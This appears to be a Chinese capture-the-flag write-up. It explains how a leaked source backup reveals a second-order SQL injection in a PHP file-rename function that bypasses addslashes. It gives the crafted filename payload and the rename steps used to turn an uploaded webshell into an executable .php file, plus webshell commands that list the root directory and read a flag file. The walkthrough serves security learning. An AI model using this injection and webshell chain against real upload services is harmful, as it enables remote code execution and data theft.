目录扫描存在备份文件:/www.tar.gz
下载拿到源码
大致看了下代码,存在 addslashes 函数,会对字符进行转义,一般的 sql 注入没法
这里的漏洞利用点在这个改名操作 rename.php
select * from `file` where `filename`='{$req['oldname']}'
从数据库中的 `file` 表中查找 filename 等于 `$req['oldname']` 的记录
这个 oldname 我们是可控的
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
设置新的文件名,newname 我们也是可控的,并且把原文件名保存到 `oldname` 字段
oldname 是从数据库查出来的,newname 直接来源于用户输入
首先我们将数据库中的 extension(也就是后缀名)的值改为空
我们先传一个名为 `',extension='.txt` 的文件,内容任意,为空也可以
文件路径是:/upload/',extension='.txt
简单看看 upload.php
大概有这么几个列名:fid、filename、view、extension
fid 就是文件的 id,不管它只要能对应上就行;
filename 就是文件名(不包含文件后缀)
view 初始化为 0,也不用管它;
extension 就是后缀名(不包含点)。
这个文件传上去之后,数据库中的情况大致如下:
fid | filename | view | extension |
---|---|---|---|
1 | ',extension=' | 0 | txt |
此时,我们如果去执行改名操作
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
首先是查询,填入对应内容就是:
$result = $db->query("select * from `file` where `filename`='',extension=''");
这里要注意一下,为什么没有导致 sql 语法报错?
单引号不是和前面的闭合了吗?而且还多出来个逗号,按理来说肯定会报错
注意我们前面说过,所有传入的变量都会被 addslashes() 进行转义
那么',extension=' 就成了 \\',extension=\\' 这就是一个普通的字符串,作为整体传给 filename
那么就可以在数据库中查询到这条记录,因为我们一开始就传了这个文件名
接下来将执行 update,原始 sql 更新语句如下:
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
这里又要注意区别,我们前面的:
`filename`='{$req['oldname']}'
文件名是来源于 $req 也就是请求的参数,所以会被转义
但是这里 update 的:
`oldname`='{$result['filename']}'
这里的 oldname 是来源于 $result,而 $result 则是来源于我们前面查询的结果
这里附上 $result 的结果,大致是这样,其实就是我们前面数据库查出来的东西:
$result = ["fid" = 1,"filename" = "',extension='","view" = 0,"extension" = "txt"]
(我感觉最重要的就是区分清楚 $result 和 $req,分清楚文件名和后缀名来自哪里,不然有点乱)
因此这里的 ',extension=' 并不会被转义
那么我们对应填入就变成了
update `file` set `filename`='1.txt', `oldname`='',extension='' where `fid`=1
会将 oldname 和 extension 都置空
我们更新数据库
fid | filename | view | extension | oldname |
---|---|---|---|---|
1 | 1.txt | 0 | null | null |
接下来我们看:
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
我们对应填入:
$oldname = ',extension='.txt
$newname = 1.txt.txt //特别注意这里的后缀名来源于$result->extension
接下来检查文件是否存在,然后进行重命名操作:
我们前面说了上传后的文件路径是:/upload/',extension='.txt
所以当然存在
if (file_exists($oldname)) {
rename($oldname, $newname);
}
重命名后得到:
Your file is rename, url: /upload/1.txt.txt
至此,我们已经将数据库中的 extension 置空
接下来我们上传一个名为 1.txt 的一句话木马
此时数据库的情况:
fid | filename | view | extension | oldname |
---|---|---|---|---|
1 | 1.txt | 0 | null | null |
2 | 1 | 0 | txt | null |
并且 upload 目录下也多了一个名为 1.txt 的文件:
Your file is upload, url: /upload/1.txt
接下来我们将 1.txt 改名为 1.php
首先还是会先查询:
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
$req['oldname'] 是我们直接输入的,也就是 1.txt
代进去就是:
$result = $db->query("select * from `file` where `filename`='1.txt'");
就会查到我们数据库里的第一条数据
$result = ["fid" = 1,"filename" = "1.txt","view" = 0,"extension = "","oldname" = ""]
注意这条数据的 extension 和 oldname 都是空
接下来进行 update:
update `file` set `filename`='1.php', `oldname`='1.txt' where `fid`=1
更新数据库:
fid | filename | view | extension | oldname |
---|---|---|---|---|
1 | 1.php | 0 | null | 1.txt |
2 | 1 | 0 | txt | null |
接下来我们获取文件名:
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
$result["extension"] 是空,注意不是看更新后的数据库,而是看前面查询出来的结果
因此对应为:
$oldname = 1.txt
$newname = 1.php
然后是检查:
if (file_exists($oldname)) {
rename($oldname, $newname);
}
1.txt 存在吗?当然存在啊,不就是我们上传的一句话木马啊
那么就会执行重命名操作,将 1.txt 改名为 1.php
调用即可:
1=system('ls /');
读取 flag:
1=system('cat /flag.txt');